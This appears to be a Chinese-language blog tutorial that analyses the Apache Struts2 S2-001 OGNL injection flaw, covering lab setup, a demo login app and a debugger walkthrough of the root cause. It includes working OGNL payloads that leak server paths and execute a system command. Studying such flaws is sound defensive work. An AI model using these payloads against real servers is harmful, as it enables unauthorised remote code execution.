自 Struts2 在 2007 年爆出第一个远程代码执行漏洞 S2-001 以来,在其后续的发展过程中不断爆出更多而且危害更大的远程代码执行漏洞,而造成 Struts2 这么多 RCE 漏洞的主要原因就是 OGNL 表达式。这里以 Struts2 的第一个漏洞 S2-001 为例来对 Struts2 远程代码执行漏洞进行学习
OGNL 简介
首先来了解 OGNL 表达式,OGNL(Object Graphic Navigatino Language)的中文全称为“对象图导航语言”,是应用于Java中的一个开源的功能强大的表达式语言(Expression Language),它被集成在Struts2等框架中,通过简单一致的表达式语法,可以存取对象的任何属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
OGNL进行对象存取操作的API在Ognl.java文件中,分别是getValue、setValue两个方法。getValue通过传入的OGNL表达式,在给定的上下文环境中,从root对象里取值:
setValue通过传入的OGNL表达式,在给定的上下文环境中,往root对象里写值:
OGNL同时编写了许多其它的方法来实现相同的功能,详细可参考Ognl.java代码。OGNL的API很简单,无论何种复杂的功能,OGNL会将其最终映射到OGNL的三要素中通过调用底层引擎完成计算,OGNL的三要素即上述方法的三个参数,分别是表达式(expression)、根对象(root)、Context对象。
下面先通过一个简单的案例来描述其作用:
首先定义一个 Student 类,该类有 3 个属性 name、studentNumber 和 theClass,同时为 3 个属性编写 get 和 set 方法
然后定义一个 TheClass 类,该类有两个属性:className 和 school,同样也为两个属性编写 get 和 set 方法:
最后定义一个 School 类,该类只有一个属性 schoolName
通过如下操作将这 3 个类实例化并为其属性一一进行赋值,最后通过使用 OGNL 表达式的方式取出指定的值
在不使用 OGNL 表达式的情况下,如果要取出 schoolName 属性,需要通过调用对应的 get 方法,但是当我们使用 OGNL 的 getValue,只需要传递一个 OGNL 表达式和根节点就可以取出指定对象的属性,非常方便。
更多OGNL表达式的知识参考:
https://xz.aliyun.com/t/225
https://jueee.github.io/2020/08/2020-08-15-Ognl%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/
https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
Struts2 的执行流程
首先来简单了解 Struts2 的执行流程。官方提供的 Struts2 的架构如图:
在该图中,一共给出了四种颜色的标识,其对应的意义如下。
- Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
- Struts Core(浅蓝色):Struts2的核心部分。
- Interceptors(浅绿色):Struts2的拦截器。
- User created(浅黄色):需要开发人员创建的部分。
图中的一些组件的作用如下:
- FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
- ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
- ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
- ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
- struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
- ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
- Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
- Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
- Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
- Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
- Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。
接下来我们可以结合上图,来了解下Struts2框架是如何处理一个HTTP请求的。
当HTTP请求发送个Web服务器之后,Web服务器根据用户的请求以及 web.xml
中配置的Filter,将请求转发给 Struts2
框架进行处理。
- HTTP请求经过一系列的过滤器,最后到达
FilterDispatcher
过滤器。 FilterDispatcher
将请求转发ActionMapper
,判断该请求是否需要处理。- 如果该请求需要处理,
FilterDispatcher
会创建一个ActionProxy
来进行后续的处理。 ActionProxy
拿着HTTP请求,询问struts.xml
该调用哪一个Action
进行处理。- 当知道目标
Action
之后,实例化一个ActionInvocation
来进行调用。 - 然后运行在
Action
之前的拦截器,图中就是拦截器1、2、3。(所有的默认拦截器都存储在 ActionInvocation 对象的 interceptors 属性中,并通过 hasNext 方法依次进行调用) (那么 Struts2 默认的拦截器都有哪些,并且定义在哪里呢?Strut2-core.jar 包中有 一个 struts2-default.xml 文件,这里配置了 Struts2 默认情况下要执行的拦截器) - 运行
Action
,生成一个Result
。 Result
根据页面模板和标签库,生成要响应的内容。- 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。
S2-001 漏洞原理分析
官方公告:https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞影响范围:WebWork 2.2.0-WebWork 2.2.5,Struts 2.0.0-Struts 2.0.8
S2-001的漏洞原理是模板文件(JSP)中引用了不合适的标签进行渲染,并且渲染的值是用户可控的,此时则达成了表达式注入的目的。
漏洞环境搭建
Apache Tomcat/8.5.46+struts-2.0.8
首先在idea安装Struts2插件
然后New Project
创建Struts2
项目,Libraries
选择Set up library later
下一步之后填写项目名称即可创建起一个struts2 project
下载struts-2.0.1-all
在项目目录WEB-INF
下新建lib
文件夹,将所需要的jar包从下载目录中导入到lib
文件夹下
将全部jar包选中,右键Add as Library
填写一个Library Name
然后File->Project strutsure
,然后在Modules
下选中struts2-001
之后再在Artifacts
将struts2-001
put into output root,完成后点击OK.
之后创建Tomcat server
之后,运行即可看到一个struts2项目启动成功。
因为漏洞是在表单验证失败时发生的,这里继续编写一个表单验证的Demo,以复现漏洞。
在WEB
目录下修改index.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>Sign On</title>
</head>
<body>
<s:form action="Login">
<s:textfield label="username" name="username"/>
<s:textfield label="password" name="password" />
<s:submit/>
</s:form>
</body>
</html>
然后新建welcome.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
在src
下新建com.demo.action
package
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class Login extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
修改struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="s2" extends="struts-default">
<action name="Login" class="com.demo.action.Login">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
之后即可运行程序出现登陆Demo
漏洞复现
1、获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
2、获取web目录
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
3、执行命令
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
漏洞分析
该漏洞是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。
我们在OGNL表达式原生API getValue
处下断点,该方法用于解析OGNL表达式并返回表达式的值。
下断后便可发送payload%{1+1}
,直到在断点处出现我们的payload,此时在调用栈中即可看到漏洞发生的整个过程。
下面我们就来逐步分析一下:
首先,判断%{1+1}是在何时被执行的,我们将断点设置在 LoginAction 的 setPassword 和 getPassword 方法上
然后,根据最开始的struts工作流程图可以知道在一个http请求进来后,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如 struts.xml文件中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。
在 struts2-core-2.0.1.jar/struts-default.xml
中可以找到默认使用的拦截器栈 defaultStack
在拦截器栈 defaultStack
中,我们需要关注 params
这个拦截器。
该拦截器对应的权限定类名是 com.opensymphony.xwork2.interceptor.ParametersInterceptor,该拦截器会通过调用对应 Action 的 setter 方法来为其属性进行赋值;最后,对赋值进行判断,如果 password 的值为“%{1+1}”,则证明代码执行的行为发生在执行 Action 之后;如果 password 的值为 2,则证明代码执行的行为发生在 Action 执行之前。通过这种简 单的判断就可以减少漏洞点的搜索范围:
通过在此处设置断点,可以看到直到赋值完成,“%{1+1}”仍没有被执行,这就意味着截止到执行完 ParametersInterceptor 拦截器为止,没有代码执行的行为发生。
接下来是执行 Action 的 execute 方法,最终结果是返回“error”字符串
根据Struts2整体执行流程
Action执行完毕后的步骤是操作对应的模板页面,当LoginAction的execute方法返回“error”字符串时,Struts2要去解析的模板页面是index.jsp。
Struts2 支持多种模板引擎(freemarker、jsp、util、velocity、xslt),jsp 只是其中一种。所以在真正开始解析之前,Struts2 还需要判断开发人员使用的模板引擎种类,从而调用对应的类和方法。
负责处理 JSP 的类是 org.apache.struts2.views.jsp.ComponentTagSupport。解析会从 第一个 Struts2 标签即<s:form action="Login">
开始,当解析到 ComponentTagSupport 类时,首先被调用的方法就是 doStartTag 方法,该方法的代码如下图所示。除 doStartTag 方法外,ComponentTagSupport 中还有一个 doEndTag 方法,一个是解析标签开始时调用,另一个是解析到标签闭合时调用。
ComponentTagSupport 是一个抽象类。由于首先被解析的是一个 Struts2 Form 标签,org.apache.struts2.views 有一个与 Form标签对应的实体类,类名为 FormTag,是 ComponentTagSupport 的子类。虽然当前断点设置在 ComponentTagSupport 的 doStartTag 方法上,其实是子类在调用父类方法,因为当前对象是 FormTag 对象:
我们跳过 Form 标签的解析,因为关键点并不在这里。 解析完 Form 标签后会解析 textfield 标签,这两个标签的细节如图
首先解析第一个 textfield 标签,关键的步骤在 doEndTag 方法中。首先会调用 this.component.end 方法
然后执行到 UIBean 类的 evaluateParams 方法。该方法用来判断标签中有哪些属 性,例如当前 textfield 标签中有两个属性:一个是 name 属性,另一个是 lable 属性, 判断这两个属性的代码如图
我们的标签里编写了 name 属性,第一个 if 判断的结果为 true,但是该 name 属性并不是关键点,因此我们跳过第一个 if 判断,直接来到第二个 if,判断标签是否有 label 属性,跟进 this.findString 方法。
经过一系列的嵌套调用,最终执行 TextParseUtil 类的 translateVariables 方法。这里就是导致漏洞产生的核心问题所在,我们可以先看一下该函数是如何处理一个正常的请求数据的。
首先观察当前的变量和值
接下来是 translateVariables 方法的部分代码
首先会进入一个 while 循环,该循环的作用是判断 label 属性的值是否以“%{” 开头,目的是判断其是不是一个 OGNL 表达式,如果是则返回的值为 0,不是则返回值为-1。然后根据 expression.indexOf 方法的返回值进入下一个判断。第二个 while 循环是为了判断“{”与“}”的数量是否相等,相等则 count 的值为 0;由于 label 属性的值是字符串“username”,不包括“%{”,start 值为-1,count 值为 1,因此第二个 while 循环无须执行。最终 if (start == -1 || end == -1 || count != 0)判断结果是为 ture,return的结果如图
返回值仍是字符串 username,返回结果到 UIBean 类的 evaluateParams 方法。当 判断完所有属性后,evaluateParams 方法中执行了一个操作,即将字符串拼接“%{}” 成为一个 OGNL 表达式“ %{username} ”,然后再带入 TextParseUtil 类 的 translateVariables 方法中,如下图。
这样做的目的是最终通过反射调用LoginAction 对象的 getUsername 方法,从而获取存储在 LoginAction 对象中 username 属性的值。
最终获取到的值为 1,也就是我们通过前端传入的 username 的值。但是接下来Sturts2的操作会出现问题,获取到admin后又对其进行了一次判断,判断该admin 是不是 OGNL 表达式。相信大家已经意识到,这个 admin 是通过前端传入的,是可控的,那么可不可以将参数由字符串“1”替换成一个 OGNL 表达式?
我们在 password 栏中进行了这样的尝试,继续分析,前期直到拼接处理%{password}从 LoginAction 中获取 password 的值为止都是相同的,问题就出在获取到 password 的值之后
password 的值为%{1+1},按照程序执行流程,会先判断其是不是一个以“%{” 开头的 OGNL 表达式。%{1+1}自然是符合的,start 最后的值为 0,end 的值为 5,count 的值为 0,所以会执行到 stack.findValue 这一步,将%{1+1}当作表达式来执行,后续的执行会涉及 OGNL。
findValue 调用 getValue
getValue执行OGNL表达式
参考
java代码审计入门之s2-001复现分析 | Boogle’s Blog (zhengbao.wang)
https://lanvnal.com/2020/12/15/s2-001-lou-dong-fen-xi